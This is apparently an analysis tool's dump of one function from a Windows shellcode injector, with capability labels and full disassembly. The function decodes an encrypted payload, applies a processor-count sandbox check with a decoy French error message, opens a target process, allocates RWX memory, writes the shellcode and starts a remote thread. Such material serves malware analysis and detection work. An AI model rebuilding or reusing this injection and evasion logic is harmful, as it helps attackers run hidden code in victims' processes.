Function at 0x401aad
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
cmp dword [rbp + 0x10], 4
je 0x401ae0
lea rcx, str.Usage:__sc_enc___app_targ___kY_
call sym.puts
mov eax, 1
jmp 0x401e24
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, [rbp - 0x28]
mov rcx, rax
call sym.readSC
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401b0c
mov eax, 1
jmp 0x401e24
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x40]
cmp eax, 1
ja 0x401b55
mov edx, dword [rbp - 0x28]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.compareSCPartsToRandomWords
lea rcx, str.Erreur_systme
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x401e24
call sym.loadFunctions
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov byte [rbp - 9], al
movzx ecx, byte [rbp - 9]
mov edx, dword [rbp - 0x28]
mov rax, qword [rbp - 8]
mov r8d, ecx
mov rcx, rax
call sym.dSc
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.gPID
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0
jne 0x401bc4
lea rcx, str.Erreur_systme
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x401e24
mov eax, dword [rbp - 0x10]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x401c0a
lea rcx, str.Erreur_lors_de_louverture_du_processus
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov ecx, 1
call sym.exit
mov eax, dword [rbp - 0x28]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x401c73
lea rcx, str.Erreur_lors_de_lallocation_de_la_mmoire
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 1
call sym.exit
lea rax, [0x00408970]
mov r10, qword [rax]
mov eax, dword [rbp - 0x28]
mov r8d, eax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x401cff
lea rcx, str.Erreur_lors_de_lcriture_de_la_mmoire
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 1
call sym.exit
lea rax, [0x00408978]
mov r10, qword [rax]
mov rcx, qword [rbp - 0x18]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x401dbe
lea rcx, str.Erreur_lors_de_la_cration_du_thread
call sym.puts
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 0x68]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xd0
pop rbp
ret